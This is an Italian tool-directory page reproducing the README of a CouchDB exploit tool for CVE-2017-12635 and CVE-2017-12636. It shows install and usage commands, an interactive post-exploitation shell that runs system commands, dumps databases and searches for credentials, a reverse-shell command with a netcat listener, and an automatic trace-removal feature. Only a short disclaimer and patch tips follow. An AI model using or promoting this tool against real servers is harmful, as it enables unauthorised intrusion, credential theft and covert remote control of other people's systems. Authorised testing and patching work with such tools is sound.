Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
couchdb-exploit — Sfrutta CouchDB CVE-2017-12635/12636 per escalation dei privilegi e RCE, quindi fornisce una shell interattiva con esecuzione di comandi, esplorazione del database e reverse shell. | Kitploit
Strumenti/GitHubGitHub/darabium/couchdb-exploit
Escalation di PrivilegiExploitRaccolta InformazioniPost-ExploitPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubdarabium/couchdb-exploit

couchdb-exploit

Sfrutta CouchDB CVE-2017-12635/12636 per escalation dei privilegi e RCE, quindi fornisce una shell interattiva con esecuzione di comandi, esplorazione del database e reverse shell.

Vedi Repository
231 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🚀 CouchDB Exploit - CVE-2017-12635 & CVE-2017-12636

Python License CVE CVE

Apache CouchDB - Escalatione dei privilegi ed esecuzione remota di codice

GitHub stars GitHub forks


📖 Panoramica

Questo strumento sfrutta due vulnerabilità critiche in Apache CouchDB:

CVEDescrizioneGravità
CVE-2017-12635Escalatione dei privilegi tramite bypass del parsing JSON🔴 Critica
CVE-2017-12636Esecuzione remota di codice tramite Query Server🔴 Critica

Come funziona

  1. CVE-2017-12635: Sfrutta l'incoerenza nel parsing JSON tra i parser Erlang e JavaScript per creare un utente amministratore
  2. CVE-2017-12636: Utilizza l'accesso amministratore per configurare un Query Server malevolo ed eseguire comandi di sistema

🎯 Versioni vulnerabili

VersioneVulnerabileVersione corretta
Apache CouchDB < 1.7.0✅ Sì1.7.0
Apache CouchDB 1.x.x✅ Sì1.7.0
Apache CouchDB 2.0.0✅ Sì2.1.1
Apache CouchDB 2.1.0✅ Sì2.1.1
Apache CouchDB ≥ 2.1.1❌ No-

Verifica rapida

curl http://target:5984/

Se la versione è 1.x.x o 2.0.x/2.1.0 → VULNERABILE

✨ Funzionalità

✅ Sfruttamento automatico - Un solo comando per dominarli tutti

✅ Shell interattiva - Interfaccia a comandi intuitiva

✅ Visualizzatore di database - Sfoglia tutti i database e i documenti

✅ Visualizzazione JSON completa - Visualizza il contenuto completo dei documenti

✅ Ricerca globale - Cerca parole chiave in tutti i database

✅ Comandi di sistema - Esegui comandi arbitrari sul target

✅ Reverse Shell - Ottieni una shell interattiva completa

✅ Cronologia dei comandi - Tieni traccia delle tue azioni

✅ Pulizia automatica - Rimuovi le tracce dopo lo sfruttamento

✅ Output colorato - Facile da leggere e comprendere

📦 Installazione Prerequisiti bash

Richiesto Python 3.6+

python3 --version

Clona e installa bash

Clona il repository

git clone https://github.com/darabium/couchdb-exploit.git

cd couchdb-exploit

Installa le dipendenze

python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt

Requisiti txt

requests>=2.25.0 urllib3>=1.26.0

🚀 Utilizzo Utilizzo di base bash

Exploit semplice

python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

Esempio

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

Opzioni della riga di comando bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

💻 Comandi

Una volta sfruttato, avrai una shell interattiva: Comando Descrizione Esempio db Mostra tutti i database con il conteggio dei documenti db view Visualizza TUTTI i documenti in un database (JSON completo) view passwords raw Mostra la risposta grezza del server raw admin count Conta i documenti in un database count users search Cerca una parola chiave in TUTTI i database search admin exec Esegue un comando di sistema exec whoami reverse Imposta una reverse shell reverse 10.0.0.1 4444 history Mostra la cronologia dei comandi history help Mostra questo menu help exit Esce con la pulizia exit 📊 Esempi

  1. Elenca tutti i database bash

couchdb> db

[+] 39 databases:

  1. _replicator (0 docs)

  2. _users (12 docs)

  3. admin (5 docs)

  4. passwords (25 docs)

  5. core-configuration (8 docs) ...

  6. Visualizza il contenuto del database bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

  1. Cerca le credenziali bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

  1. Esegui comandi di sistema bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

  1. Reverse shell bash

On your machine (listener)

nc -lvnp 4444

Nell'exploit

couchdb> reverse 10.0.0.1 4444 [+] Configurazione della reverse shell verso 10.0.0.1:4444 [!] Assicurati che il listener sia in esecuzione: nc -lvnp 4444 [?] Continuare? (s/n): s [+] Reverse shell attivata!

Dovresti ottenere una shell sul tuo listener!

🖼️ Screenshot Exploit in azione

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Vista del database

https://via.placeholder.com/800x400?text=Database+View Reverse Shell

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Avvertenza

IMPORTANTE: questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati.

    🚫 NON utilizzare su sistemi senza esplicita autorizzazione

    🚫 L'autore non è responsabile per qualsiasi uso improprio

    🚫 Utilizzare solo in ambienti controllati o sui propri sistemi

    ✅ Ottenere sempre un'autorizzazione scritta prima di eseguire i test

    ✅ Seguire pratiche di divulgazione responsabile

Utilizzando questo strumento, accetti questi termini. 🔐 Suggerimenti per la sicurezza

Se sei un amministratore di sistema:

Aggiorna immediatamente a CouchDB ≥ 1.7.0 o ≥ 2.1.1

Utilizza un firewall per limitare l'accesso alla porta 5984

Abilita l'autenticazione e utilizza password complesse

Monitora i log per attività sospette

Esegui regolari audit di sicurezza della tua infrastruttura

Correzione rapida bash

Aggiornare CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # O versione più recente

Limita l'accesso

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 Riferimenti

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

Sicurezza di Apache CouchDB

Exploit-DB

👤 Autore

darabium

GitHub: @darabium

Telegram: @darabium

⭐ Supporto

Se lo trovi utile:

⭐ Metti una stella al repository

🐛 Segnala problemi

🔧 Contribuisci con miglioramenti

📢 Condividi con altri

📄 Licenza

Questo progetto è distribuito con licenza MIT - consulta il file LICENSE per i dettagli.

Realizzato con ❤️ per la ricerca sulla sicurezza

⬆ Torna in cima

Scarica lo strumento